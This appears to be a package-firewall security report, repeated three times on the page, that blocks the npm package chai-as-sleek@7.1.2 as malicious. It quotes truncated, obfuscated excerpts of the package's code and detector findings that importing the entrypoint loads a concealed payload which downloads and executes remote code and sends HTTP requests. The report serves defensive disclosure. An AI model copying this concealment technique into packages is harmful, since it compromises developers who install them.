chai-as-sleek@7.1.2: Malicious npm security report (Block)

Loading npm security reports…

chai-as-sleek@7.1.2: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

6 flagged

3const path = require('path'); L4: const { spawn } = require('child_process'); L5: const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

3const path = require('path'); const { spawn } = require('child_process'); const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants'); const config = require('./lib/config');

High

Ai Review Evidence

Importing the advertised entrypoint immediately loads a concealed 4 MB payload.

index.jsView on unpkg · L3

lib/config.jsView file

1function mc(F,S,Y,E,i){const F9={F:0x1f1};return T(Y-F9.F,E);}function mk(F,S,Y,E,i){const FM={F:0x3dc};return T(i- -FM.F,F);}function ma(F,S,Y,E,i){const Fu={F:0x109};return j(i-F...

Critical

Download Execute

Source downloads or fetches remote code and executes it.

lib/config.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js -> lib/config.js L1: function mc(F,S,Y,E,i){const F9={F:0x1f1};return T(Y-F9.F,E);}function mk(F,S,Y,E,i){const FM={F:0x3dc};return T(i- -FM.F,F);}function ma(F,S,Y,E,i){const Fu={F:0x109};return j(i-F...

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

lib/config.jsView on unpkg · L1

•stage = ast_semantic_analysis; reason = ast_path_work_budget_exceeded; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

lib/config.jsView on unpkg

1const a=await axios[dp(NO.eM,NO.eu,NO.em,NO.ey,NO.ed)](i,v,{'\x68\x65\x61\x64\x65\x72\x73':{'\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65':E[dz(-NO.ej,-NO.eT,NO.eF,-NO.eS,-NO.eY)],'\x76\x61\x6c\x69\x64\x61\x74\x69\x6f\x6e':o},'\x74\x69\x6d\x65\x6f\x75\x74':0x2710})

High

Ai Review Evidence

The payload loads HTTP and cryptography libraries, then makes an HTTP request with data and headers.

lib/config.jsView on unpkg · L1

Source & flagged code

6 flagged · loading source

index.jsView file

3const path = require('path'); L4: const { spawn } = require('child_process'); L5: const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

3const path = require('path'); const { spawn } = require('child_process'); const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants'); const config = require('./lib/config');

High

Ai Review Evidence

Importing the advertised entrypoint immediately loads a concealed 4 MB payload.

index.jsView on unpkg · L3

lib/config.jsView file

1function mc(F,S,Y,E,i){const F9={F:0x1f1};return T(Y-F9.F,E);}function mk(F,S,Y,E,i){const FM={F:0x3dc};return T(i- -FM.F,F);}function ma(F,S,Y,E,i){const Fu={F:0x109};return j(i-F...

Critical

Download Execute

Source downloads or fetches remote code and executes it.

lib/config.jsView on unpkg · L1

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

lib/config.jsView on unpkg · L1

•stage = ast_semantic_analysis; reason = ast_path_work_budget_exceeded; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

lib/config.jsView on unpkg

High

Ai Review Evidence

The payload loads HTTP and cryptography libraries, then makes an HTTP request with data and headers.

lib/config.jsView on unpkg · L1

Source & flagged code

6 flagged

index.jsView file

3const path = require('path'); L4: const { spawn } = require('child_process'); L5: const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

3const path = require('path'); const { spawn } = require('child_process'); const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants'); const config = require('./lib/config');

High

Ai Review Evidence

Importing the advertised entrypoint immediately loads a concealed 4 MB payload.

index.jsView on unpkg · L3

lib/config.jsView file

1function mc(F,S,Y,E,i){const F9={F:0x1f1};return T(Y-F9.F,E);}function mk(F,S,Y,E,i){const FM={F:0x3dc};return T(i- -FM.F,F);}function ma(F,S,Y,E,i){const Fu={F:0x109};return j(i-F...

Critical

Download Execute

Source downloads or fetches remote code and executes it.

lib/config.jsView on unpkg · L1

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

lib/config.jsView on unpkg · L1

•stage = ast_semantic_analysis; reason = ast_path_work_budget_exceeded; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

lib/config.jsView on unpkg

High

Ai Review Evidence

The payload loads HTTP and cryptography libraries, then makes an HTTP request with data and headers.

lib/config.jsView on unpkg · L1

chai-as-sleek@7.1.2

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code